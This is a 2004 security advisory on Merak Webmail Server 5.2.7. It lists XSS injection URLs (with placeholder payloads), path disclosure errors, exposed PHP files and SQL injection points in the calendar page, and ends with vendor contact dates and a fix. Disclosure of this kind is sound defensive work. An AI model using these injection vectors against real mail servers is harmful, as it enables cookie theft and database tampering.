**************************************************************************************************** CRIOLABS http://www.criolabs.net - Software: Merak Webmail Server - Type: Webmail - Company: Merak Mail Server, Inc. **************************************************************************************************** ## Software ## Software: Merak Webmail Server Version: 5.2.7 Plataforms: All Windows platforms Web: http://www.merakmailserver.com/ ## Vendor Description ## Merak's WebMail Server is used by thousands of companies around the world to provide secure (ssl) anytime-anywhere access to home, office or ISP email via a browser or WAP-enabled device. In less than 10 minutes you can have the same professional email server that organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers and Developers depend on every day. ## Vulnerabilities ## Cross-Site Scripting, Full path disclosure, Exposure of PHP files, SQL-Injection. ## Cross-Site Scripting ## There are a lot of Input Validation Holes in this soft. An attacker can perform an XSS attack and be able to access the target user's cookies. /address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=">&cserver=&ext= /address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext= /address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS] /address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext= /address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext= /address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext= /settings.html?autoresponder=1&id=[id]&spage=">[XSS] /settings.html?autoresponder=">[XSS]&id=[id]&spage=0 /readmail.html?id=[id]&folder=">[XSS] The next files (attachment.html,calendar.html), can be executed without knowing user's session ID number. /attachment.html?attachmentpage_text_error=">[XSS] /calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder= /calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS] /calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8 Also it is possible to inject a XSS in the message directly, example: Open your mail and write a new message like this : #Image 1.jpg Then click on the HTML message checkbox (in order to send it in HTML format) - #Image 2.jpg and 3.jpg The XSS will be executed on your browser. If you send the message, the XSS also will be executed when the victim read the mail. #Image 4.jpg Conclusion: If you send a Content-Type: text/html message with an XSS attack, always will be executed when the victim reads the message. Also you can send the XSS in the Subject. This XSS is executed when the victim reply to this is in HTML format. ## Full path disclosure ## Some variables of adress.html can cause that a remote user may be able to determine the installation path. #Example: /mail/address.html?id=[id]&sort=criolabs&selectsort=criolabs&global=criolabs&showlite=criolabs&category=criolabs&cserver=&ext= #Error Example: Warning: reset(): Passed variable is not an array or object in C:\Archivos de programa\Merak\html\mail\address.html on line 565 Warning: Variable passed to each() is not an array or object in C:\Archivos de programa\Merak\html\mail\address.html on line 566 Warning: reset(): Passed variable is not an array or object in C:\Archivos de programa\Merak\html\mail\inc\function.address.php on line 100 Warning: Variable passed to each() is not an array or object in C:\Archivos de programa\Merak\html\mail\inc\function.address.php on line 101 #Example: /calendar.html?id=6213dcc45fdbccc9af207d32722b93a7&cv=%22criolabs&ct='criolabs&sf='criolabs #Error Example: You can see this in the webmail logs: Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413 Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413 Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 417 Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420 Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420 Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 350 ## Exposure of PHP files ## The server allows that remote users can download all the files with .php extension from the server. #Example: http://localhost:32000/mail/inc/function.php http://localhost:32000/mail/inc/function.view.php ## SQL-Injection ## There are Sql-Injection problems in calendar, a remote user may be able to inject SQL commands. /calendar.html?id=1'&schedule=[SQL] You can see in the logs : DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] Error de sintaxis (falta operador) en la expresión de consulta 'OWN_Email = ''[sql]''. /calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=';'&Eid=criolabs' DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] Error de sintaxis en la cadena en la expresión de consulta 'EVN_ID = 'criolabs'''. DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] Error de sintaxis en la cadena en la expresión de consulta 'RMNEVN_ID = 'criolabs'''. DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] Error de sintaxis en la cadena en la expresión de consulta 'CNTEVN_ID = 'criolabs'''. -- -- ## History ## Vendor Contacted : Wed, 04 Aug 2004 Thu, 12 Aug 2004 : New Release of Merak Mail Server 7.5.2 ## Solution ## Download the new release. http://www.MerakMailServer.com/Download/ ## Credits ## Criolabs staff http://www.criolabs.net Ariginal advisory and attachments in Criolabs.net